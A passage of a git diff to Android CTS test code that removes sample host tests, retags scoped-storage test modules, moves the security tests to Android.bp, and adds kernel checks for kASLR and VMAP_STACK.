- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.sample.cts;
-
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.util.MeasureRun;
-import com.android.compatibility.common.util.MeasureTime;
-import com.android.compatibility.common.util.MetricsReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.compatibility.common.util.Stat;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.util.CommandResult;
-import com.android.tradefed.util.CommandStatus;
-import com.android.tradefed.util.FileUtil;
-import com.android.tradefed.util.RunUtil;
-
-import java.io.File;
-
-/**
- * Test to measure the transfer time of a file from the host to the device.
- */
-public class SampleHostResultTest extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
-
-    private static final String TAG = SampleHostResultTest.class.getSimpleName();
-
-    /**
-     * Name of the report log to store test metrics.
-     */
-    private static final String REPORT_LOG_NAME = "SampleHostTestMetrics";
-
-    /**
-     * The number of times to repeat the test.
-     */
-    private static final int REPEAT = 5;
-
-    /**
-     * The device-side location to write the file to.
-     */
-    private static final String FILE_PATH = "/data/local/tmp/%s";
-
-    /**
-     * The name of the file to transfer.
-     *
-     * In this case we will transfer this test's module config.
-     */
-    private static final String FILE_NAME = "CtsSampleHostTestCases.config";
-
-    /**
-     * A helper to access resources in the build.
-     */
-    private CompatibilityBuildHelper mBuildHelper;
-
-    /**
-     * A reference to the device under test.
-     */
-    private ITestDevice mDevice;
-
-    /**
-     * A reference to the ABI under test.
-     */
-    private IAbi mAbi;
-
-    @Override
-    public void setAbi(IAbi abi) {
-        mAbi = abi;
-    }
-
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        // Get the build, this is used to access the APK.
-        mBuildHelper = new CompatibilityBuildHelper(buildInfo);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        // Get the device, this gives a handle to run commands and install APKs.
-        mDevice = getDevice();
-    }
-
-    /**
-     * Measures the time taken to transfer a file to the device and then back.
-     *
-     * The workload is repeated several times and the report is populated with the result.
-     *
-     * @throws Exception
-     */
-    public void testTransferTime() throws Exception {
-        final ITestDevice device = mDevice;
-        // Create the device side path where the file will be transfered.
-        final String devicePath = String.format(FILE_PATH, "tmp_testPushPull.txt");
-        // Get this test's module config file from the build.
-        final File testFile = mBuildHelper.getTestFile(FILE_NAME);
-        double[] result = MeasureTime.measure(REPEAT, new MeasureRun() {
-            @Override
-            public void prepare(int i) throws Exception {
-                device.executeShellCommand(String.format("rm %s", devicePath));
-            }
-            @Override
-            public void run(int i) throws Exception {
-                // Create a temporary file to compare with.
-                File tmpFile = FileUtil.createTempFile("tmp", "txt");
-                try {
-                    // Push the file across and ensure it exists.
-                    assertTrue("Could not push file", device.pushFile(testFile, devicePath));
-                    assertTrue("Unsuccessful transfer", device.doesFileExist(devicePath));
-                    // Pull the file back and ensure it is the same.
-                    assertTrue("Could not pull file", device.pullFile(devicePath, tmpFile));
-                    assertFilesAreEqual(testFile, tmpFile);
-                } finally {
-                    // Clean up.
-                    tmpFile.delete();
-                    device.executeShellCommand(String.format("rm %s", devicePath));
-                }
-            }
-        });
-        // Compute the stats.
-        Stat.StatResult stat = Stat.getStat(result);
-        // Get the report for this test and add the results to record.
-        String streamName = "test_transfer_time_metrics";
-        MetricsReportLog report = new MetricsReportLog(
-                mBuildHelper.getBuildInfo(), mAbi.getName(),
-                String.format("%s#testTransferTime", getClass().getCanonicalName()),
-                REPORT_LOG_NAME, streamName);
-        report.addValues("times", result, ResultType.LOWER_BETTER, ResultUnit.MS);
-        report.addValue("min", stat.mMin, ResultType.LOWER_BETTER, ResultUnit.MS);
-        report.addValue("max", stat.mMax, ResultType.LOWER_BETTER, ResultUnit.MS);
-        // Set a summary.
-        report.setSummary("average", stat.mAverage, ResultType.LOWER_BETTER, ResultUnit.MS);
-        // Send the report to Tradefed.
-        report.submit();
-    }
-
-    /**
-     * Asserts the two given files are equal using the diff utility.
-     *
-     * @throws Exception
-     */
-    private static void assertFilesAreEqual(File first, File second) throws Exception {
-        CommandResult result = RunUtil.getDefault().runTimedCmd(5000, "diff",
-                first.getAbsolutePath(), second.getAbsolutePath());
-        assertTrue("Diff failed to run", result.getStatus() == CommandStatus.SUCCESS);
-        assertTrue("Files are not equivalent", "".equals(result.getStdout()));
-    }
-
-}
diff --git a/hostsidetests/sample/src/android/sample/cts/SampleHostTest.java b/hostsidetests/sample/src/android/sample/cts/SampleHostTest.java
deleted file mode 100644
index 389048d..0000000
--- a/hostsidetests/sample/src/android/sample/cts/SampleHostTest.java
+++ /dev/null
@@ -1,87 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.sample.cts;
-
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
-
-import java.util.Scanner;
-
-/**
- * Test to check the APK logs to Logcat.
- *
- * When this test builds, it also builds {@link android.sample.app.SampleDeviceActivity} into an APK
- * which it then installed at runtime and started. The activity simply prints a message to Logcat
- * and then gets uninstalled.
- */
-public class SampleHostTest extends DeviceTestCase {
-
-    /**
-     * The package name of the APK.
-     */
-    private static final String PACKAGE = "android.sample.app";
-
-    /**
-     * The class name of the main activity in the APK.
-     */
-    private static final String CLASS = "SampleDeviceActivity";
-
-    /**
-     * The command to launch the main activity.
-     */
-    private static final String START_COMMAND = String.format(
-            "am start -W -a android.intent.action.MAIN -n %s/%s.%s", PACKAGE, PACKAGE, CLASS);
-
-    /**
-     * The command to clear the main activity.
-     */
-    private static final String CLEAR_COMMAND = String.format("pm clear %s", PACKAGE);
-
-    /**
-     * The test string to look for.
-     */
-    private static final String TEST_STRING = "SampleTestString";
-
-    /**
-     * Tests the string was successfully logged to Logcat from the activity.
-     *
-     * @throws Exception
-     */
-    public void testLogcat() throws Exception {
-        ITestDevice device = getDevice();
-        // Clear activity
-        device.executeShellCommand(CLEAR_COMMAND);
-        // Clear logcat.
-        device.executeAdbCommand("logcat", "-c");
-        // Start the APK and wait for it to complete.
-        device.executeShellCommand(START_COMMAND);
-        // Dump logcat.
-        String logs = device.executeAdbCommand("logcat", "-v", "brief", "-d", CLASS + ":I", "*:S");
-        // Search for string.
-        String testString = "";
-        Scanner in = new Scanner(logs);
-        while (in.hasNextLine()) {
-            String line = in.nextLine();
-            if(line.startsWith("I/"+CLASS)) {
-                testString = line.split(":")[1].trim();
-            }
-        }
-        in.close();
-        // Assert the logged string matches the test string.
-        assertEquals("Incorrect test string", TEST_STRING, testString);
-    }
-}
diff --git a/hostsidetests/scopedstorage/Android.bp b/hostsidetests/scopedstorage/Android.bp
index fbfd706..8499999 100644
--- a/hostsidetests/scopedstorage/Android.bp
+++ b/hostsidetests/scopedstorage/Android.bp
@@ -25,7 +25,7 @@
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+    test_suites: ["general-tests", "mts-mediaprovider", "cts"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppB",
@@ -36,7 +36,7 @@
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+    test_suites: ["general-tests", "mts-mediaprovider", "cts"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppC",
@@ -47,7 +47,7 @@
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+    test_suites: ["general-tests", "mts-mediaprovider", "cts"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppC30",
@@ -58,7 +58,7 @@
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts", "cts"],
+    test_suites: ["general-tests", "mts", "cts"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppCLegacy",
@@ -69,7 +69,7 @@
     min_sdk_version: "28",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+    test_suites: ["general-tests", "mts-mediaprovider", "cts"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppDLegacy",
@@ -80,7 +80,7 @@
     min_sdk_version: "28",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+    test_suites: ["general-tests", "mts-mediaprovider", "cts"],
 }
 
 android_test_helper_app {
@@ -92,7 +92,7 @@
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+    test_suites: ["general-tests", "mts-mediaprovider", "cts"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppFileManagerBypassDB",
@@ -103,7 +103,7 @@
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts", "cts"],
+    test_suites: ["general-tests", "mts", "cts"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppSystemGalleryBypassDB",
@@ -114,7 +114,7 @@
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts", "cts"],
+    test_suites: ["general-tests", "mts", "cts"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppSystemGallery30BypassDB",
@@ -125,7 +125,7 @@
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts", "cts"],
+    test_suites: ["general-tests", "mts", "cts"],
 }
 
 android_test_helper_app {
@@ -146,7 +146,7 @@
     min_sdk_version: "30",
 }
 
-android_test {
+android_test_helper_app {
     name: "ScopedStorageTest",
     manifest: "AndroidManifest.xml",
     srcs: ["src/**/*.java"],
@@ -164,7 +164,7 @@
     ]
 }
 
-android_test {
+android_test_helper_app {
     name: "LegacyStorageTest",
     manifest: "legacy/AndroidManifest.xml",
     srcs: ["legacy/src/**/*.java"],
@@ -194,6 +194,7 @@
     name: "CtsScopedStorageHostTest",
     srcs: ["host/src/**/*.java"],
     libs: ["cts-tradefed", "tradefed", "testng"],
+    static_libs: ["modules-utils-build-testing", "compatibility-host-util"],
     test_suites: ["general-tests", "mts-mediaprovider", "cts"],
     test_config: "AndroidTest.xml",
     data: [
@@ -203,9 +204,26 @@
 }
 
 java_test_host {
+    name: "GtsPreserveLegacyStorageHostTest",
+    srcs:  [
+        "host/src/android/scopedstorage/cts/host/PreserveLegacyStorageHostTest.java",
+        "host/src/android/scopedstorage/cts/host/BaseHostTestCase.java"
+    ],
+    libs: ["cts-tradefed", "tradefed", "testng"],
+    static_libs: ["modules-utils-build-testing", "compatibility-host-util"],
+    test_suites: ["general-tests", "gts"],
+    test_config: "AndroidPreserveLegacyTest.xml",
+    data: [
+        ":CtsLegacyStorageTestAppRequestLegacy",
+        ":CtsLegacyStorageTestAppPreserveLegacy",
+    ],
+}
+
+java_test_host {
     name: "CtsScopedStoragePublicVolumeHostTest",
     srcs: ["host/src/**/*.java"],
     libs: ["cts-tradefed", "tradefed", "testng"],
+    static_libs: ["modules-utils-build-testing", "compatibility-host-util"],
     test_suites: ["general-tests", "mts-mediaprovider"],
     test_config: "PublicVolumeTest.xml",
 }
@@ -228,7 +246,7 @@
     srcs: ["device/**/*.java"],
     static_libs: ["truth-prebuilt", "cts-scopedstorage-lib",],
     compile_multilib: "both",
-    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+    test_suites: ["general-tests", "mts-mediaprovider", "cts"],
     sdk_version: "test_current",
     target_sdk_version: "31",
     min_sdk_version: "30",
diff --git a/hostsidetests/scopedstorage/AndroidPreserveLegacyTest.xml b/hostsidetests/scopedstorage/AndroidPreserveLegacyTest.xml
new file mode 100644
index 0000000..d419588
--- /dev/null
+++ b/hostsidetests/scopedstorage/AndroidPreserveLegacyTest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Preserve legacy storage host test for scoped storage">
+    <option name="test-suite-tag" value="gts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsLegacyStorageTestAppRequestLegacy.apk" />
+        <option name="test-file-name" value="CtsLegacyStorageTestAppPreserveLegacy.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.HostTest" >
+        <option name="class" value="android.scopedstorage.cts.host.PreserveLegacyStorageHostTest" />
+    </test>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <option name="mainline-module-package-name" value="com.google.android.mediaprovider" />
+    </object>
+</configuration>
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
index ad480e2..5897386 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
@@ -19,7 +19,6 @@
 import static android.app.AppOpsManager.permissionToOp;
 import static android.os.ParcelFileDescriptor.MODE_CREATE;
 import static android.os.ParcelFileDescriptor.MODE_READ_WRITE;
-import static android.os.SystemProperties.getBoolean;
 import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMatch;
 import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMismatch;
 import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadata;
@@ -103,6 +102,7 @@
 import static android.system.OsConstants.W_OK;
 
 import static androidx.test.InstrumentationRegistry.getContext;
+import static androidx.test.InstrumentationRegistry.getTargetContext;
 
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
@@ -910,7 +910,7 @@
             try (ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
                  ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE)) {
                 assertRWR(readPfd, writePfd);
-                assertLowerFsFdWithPassthrough(writePfd);
+                assertLowerFsFdWithPassthrough(file.getPath(), writePfd);
             }
         } finally {
             file.delete();
@@ -946,7 +946,7 @@
             try (ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw");
                  ParcelFileDescriptor writePfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE)) {
                 assertRWR(readPfd, writePfd);
-                assertLowerFsFdWithPassthrough(readPfd);
+                assertLowerFsFdWithPassthrough(file.getPath(), readPfd);
             }
         } finally {
             file.delete();
@@ -966,8 +966,8 @@
                  ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw")) {
                 assertRWR(readPfd, writePfd);
                 assertRWR(writePfd, readPfd); // Can read on 'w' only pfd
-                assertLowerFsFdWithPassthrough(writePfd);
-                assertLowerFsFdWithPassthrough(readPfd);
+                assertLowerFsFdWithPassthrough(file.getPath(), writePfd);
+                assertLowerFsFdWithPassthrough(file.getPath(), readPfd);
             }
         } finally {
             file.delete();
@@ -991,7 +991,7 @@
                 writePfd.close();
 
                 assertRWR(readPfd, writePfdDup);
-                assertLowerFsFdWithPassthrough(writePfdDup);
+                assertLowerFsFdWithPassthrough(file.getPath(), writePfdDup);
             }
         } finally {
             file.delete();
@@ -3177,8 +3177,13 @@
         assertStartsWith(path, prefix);
     }
 
-    private void assertLowerFsFdWithPassthrough(ParcelFileDescriptor pfd) throws Exception {
-        if (getBoolean("persist.sys.fuse.passthrough.enable", false)) {
+    private void assertLowerFsFdWithPassthrough(final String path, ParcelFileDescriptor pfd)
+            throws Exception {
+        final ContentResolver resolver = getTargetContext().getContentResolver();
+        final Bundle res = resolver.call(MediaStore.AUTHORITY, "uses_fuse_passthrough", path, null);
+        boolean passthroughEnabled = res.getBoolean("uses_fuse_passthrough_result");
+
+        if (passthroughEnabled) {
             assertUpperFsFd(pfd);
         } else {
             assertLowerFsFd(pfd);
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PreserveLegacyStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PreserveLegacyStorageHostTest.java
index 46e6568..0258b2a 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PreserveLegacyStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PreserveLegacyStorageHostTest.java
@@ -19,10 +19,13 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.junit.Assert.assertNull;
+import static org.junit.Assume.assumeTrue;
 
 import android.platform.test.annotations.AppModeFull;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.util.CtsDownstreamingTest;
+import com.android.modules.utils.build.testing.DeviceSdkLevel;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.After;
@@ -32,6 +35,7 @@
 /**
  * Runs the legacy file path access tests.
  */
+@CtsDownstreamingTest
 @RunWith(DeviceJUnit4ClassRunner.class)
 @AppModeFull
 public class PreserveLegacyStorageHostTest extends BaseHostTestCase {
@@ -55,6 +59,10 @@
 
     @Test
     public void testPreserveLegacy() throws Exception {
+        // This was broken on R, so only run the test on S+ devices
+        DeviceSdkLevel deviceSdkLevel = new DeviceSdkLevel(getDevice());
+        assumeTrue(deviceSdkLevel.isDeviceAtLeastS());
+
         // Most of these tests are done device-side; see RestrictedStoragePermissionTest.java
         // This test is done on the host, because we want to verify preserveLegacyExternalStorage
         // is sticky across a reboot.
diff --git a/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java b/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
index 9f56aa09..354f260 100644
--- a/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
+++ b/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
@@ -70,7 +70,7 @@
 
     // The service start can take a long time, because seccomp denials will
     // cause process crashes and dumps, which we waitpid() for sequentially.
-    private static final int SERVICE_START_TIMEOUT_MS = 120000;
+    private static final int SERVICE_START_TIMEOUT_MS = 180000;
 
     private JSONObject mAllowedSyscallMap;
     private JSONObject mBlockedSyscallMap;
diff --git a/hostsidetests/security/Android.bp b/hostsidetests/security/Android.bp
new file mode 100644
index 0000000..4551750
--- /dev/null
+++ b/hostsidetests/security/Android.bp
@@ -0,0 +1,94 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_host {
+    // Must match the package name in CtsTestCaseList.mk
+    name: "CtsSecurityHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: [
+        "src/**/*.java",
+        ":CtsSecurityHostTestCases_LocalGeneratedSources",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+    java_resources: [
+        ":plat_seapp_contexts",
+        ":plat_seapp_neverallows",
+        ":plat_file_contexts",
+        ":plat_property_contexts",
+        ":plat_service_contexts",
+    ],
+    static_libs: [
+        "CtsSecurityHostTestCases_StaticLibs",
+    ],
+    // These two host cc_library_* modules cannot be wrapped as java_resources directly into
+    // a .jar due to the "missing variant" issue, see b/197025344 for more details. This workaround
+    // will install these two modules alongside with the .jar file in the testcases directory.
+    jni_libs: [
+        "libsepolwrap",
+        "libc++",
+    ],
+    target_required: ["CtsDeviceInfo"],
+}
+
+genrule {
+    name: "CtsSecurityHostTestCases_LocalGeneratedSources",
+    tools: [
+        "SELinuxNeverallowTestGen",
+        "soong_zip",
+    ],
+    srcs: [":general_sepolicy.conf"],
+    out: ["SELinuxNeverallowRulesTest.srcjar"],
+    cmd: "mkdir -p $(genDir)/android/cts/security && " +
+        "$(location SELinuxNeverallowTestGen) $(in) $(genDir)/android/cts/security/SELinuxNeverallowRulesTest.java && " +
+        "$(location soong_zip) -jar -o $(out) -C $(genDir) -D $(genDir)",
+}
+
+java_genrule_host {
+    name: "CtsSecurityHostTestCases_StaticLibs",
+    tools: [
+        "soong_zip",
+        "checkseapp",
+        "checkfc",
+        "property_info_checker",
+        "searchpolicy",
+        "secilc",
+        "sepolicy-analyze",
+        "sepolicy_tests",
+        "treble_sepolicy_tests",
+    ],
+    out: ["CtsSecurityHostTestCases_StaticLibs.jar"],
+    cmd: "$(location soong_zip) -jar -o $(location CtsSecurityHostTestCases_StaticLibs.jar) -j " +
+        "-f $(location checkseapp) " +
+        "-f $(location checkfc) " +
+        "-f $(location property_info_checker) " +
+        "-f $(location searchpolicy) " +
+        "-f $(location secilc) " +
+        "-f $(location sepolicy-analyze) " +
+        "-f $(location sepolicy_tests) " +
+        "-f $(location treble_sepolicy_tests) ",
+}
diff --git a/hostsidetests/security/Android.mk b/hostsidetests/security/Android.mk
deleted file mode 100644
index 7d603bd..0000000
--- a/hostsidetests/security/Android.mk
+++ /dev/null
@@ -1,81 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := optional
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-# Must match the package name in CtsTestCaseList.mk
-LOCAL_MODULE := CtsSecurityHostTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-
-LOCAL_MODULE_CLASS := JAVA_LIBRARIES
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-LOCAL_CTS_TEST_PACKAGE := android.host.security
-
-selinux_plat_seapp_contexts := $(call intermediates-dir-for,ETC,plat_seapp_contexts)/plat_seapp_contexts
-
-selinux_plat_seapp_neverallows := $(call intermediates-dir-for,ETC,plat_seapp_neverallows)/plat_seapp_neverallows
-
-selinux_plat_file_contexts := $(call intermediates-dir-for,ETC,plat_file_contexts)/plat_file_contexts
-
-selinux_plat_property_contexts := $(call intermediates-dir-for,ETC,plat_property_contexts)/plat_property_contexts
-
-selinux_plat_service_contexts := $(call intermediates-dir-for,ETC,plat_service_contexts)/plat_service_contexts
-
-LOCAL_JAVA_RESOURCE_FILES := \
-    $(HOST_OUT_EXECUTABLES)/checkseapp \
-    $(HOST_OUT_EXECUTABLES)/checkfc \
-    $(HOST_OUT_EXECUTABLES)/property_info_checker \
-    $(HOST_OUT_EXECUTABLES)/searchpolicy \
-    $(HOST_OUT_EXECUTABLES)/secilc \
-    $(HOST_OUT_EXECUTABLES)/sepolicy-analyze \
-    $(HOST_OUT_EXECUTABLES)/sepolicy_tests \
-    $(HOST_OUT_EXECUTABLES)/treble_sepolicy_tests \
-    $(HOST_OUT_SHARED_LIBRARIES)/libsepolwrap$(HOST_SHLIB_SUFFIX) \
-    $(HOST_OUT_SHARED_LIBRARIES)/libc++$(HOST_SHLIB_SUFFIX) \
-    $(selinux_plat_seapp_contexts) \
-    $(selinux_plat_seapp_neverallows) \
-    $(selinux_plat_file_contexts) \
-    $(selinux_plat_property_contexts) \
-    $(selinux_plat_service_contexts)
-
-selinux_general_policy := $(call intermediates-dir-for,ETC,general_sepolicy.conf)/general_sepolicy.conf
-
-selinux_neverallow_gen := cts/tools/selinux/SELinuxNeverallowTestGen.py
-
-selinux_neverallow_gen_data := cts/tools/selinux/SELinuxNeverallowTestFrame.py
-
-LOCAL_GENERATED_SOURCES := $(call local-generated-sources-dir)/android/cts/security/SELinuxNeverallowRulesTest.java
-
-$(LOCAL_GENERATED_SOURCES) : PRIVATE_SELINUX_GENERAL_POLICY := $(selinux_general_policy)
-$(LOCAL_GENERATED_SOURCES) : $(selinux_neverallow_gen) $(selinux_general_policy) $(selinux_neverallow_gen_data)
-	mkdir -p $(dir $@)
-	$< $(PRIVATE_SELINUX_GENERAL_POLICY) $@
-
-LOCAL_TARGET_REQUIRED_MODULES := CtsDeviceInfo
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
index 64ba2fd..814363d 100644
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
@@ -296,7 +296,6 @@
         put("SDM660", null);
         put("BENGAL", null);
         put("KHAJE", null);
-        put("SDMMAGPIEP", null);
         put("BENGAL-IOT", null);
         put("BENGALP-IOT", null);
         put("DEFAULT", new String[]{"CONFIG_UNMAP_KERNEL_AT_EL0=y"});
@@ -421,4 +420,44 @@
                     getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
         }
     }
+
+    /**
+     * Test that the kernel is using kASLR.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    @Test
+    public void testConfigRandomizeBase() throws Exception {
+        if (PropertyUtil.getFirstApiLevel(mDevice) < 33) {
+            return;
+        }
+
+        if (CpuFeatures.isArm32(mDevice)) {
+            return;
+        }
+
+        assertTrue("The kernel's base address must be randomized",
+                configSet.contains("CONFIG_RANDOMIZE_BASE=y"));
+    }
+
+    /**
+     * Test that CONFIG_VMAP_STACK is enabled on architectures that support it.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    @Test
+    public void testConfigVmapStack() throws Exception {
+        if (PropertyUtil.getFirstApiLevel(mDevice) < 33) {
+            return;
+        }
+
+        if (!configSet.contains("CONFIG_HAVE_ARCH_VMAP_STACK=y")) {
+            return;
+        }
+
+        assertTrue("CONFIG_VMAP_STACK must be enabled on architectures that support it.",
+                configSet.contains("CONFIG_VMAP_STACK=y"));
+    }
 }
diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
index 3ec96e3..9d26b6c 100644
--- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
@@ -54,6 +54,8 @@
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.InputStreamReader;
+import java.nio.file.Files;
+import java.nio.file.StandardCopyOption;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collections;
@@ -93,7 +95,7 @@
 
     private static final Map<ITestDevice, File> cachedDevicePolicyFiles = new HashMap<>(1);
     private static final Map<ITestDevice, File> cachedDevicePlatFcFiles = new HashMap<>(1);
-    private static final Map<ITestDevice, File> cachedDeviceNonplatFcFiles = new HashMap<>(1);
+    private static final Map<ITestDevice, File> cachedDeviceVendorFcFiles = new HashMap<>(1);
     private static final Map<ITestDevice, File> cachedDeviceVendorManifest = new HashMap<>(1);
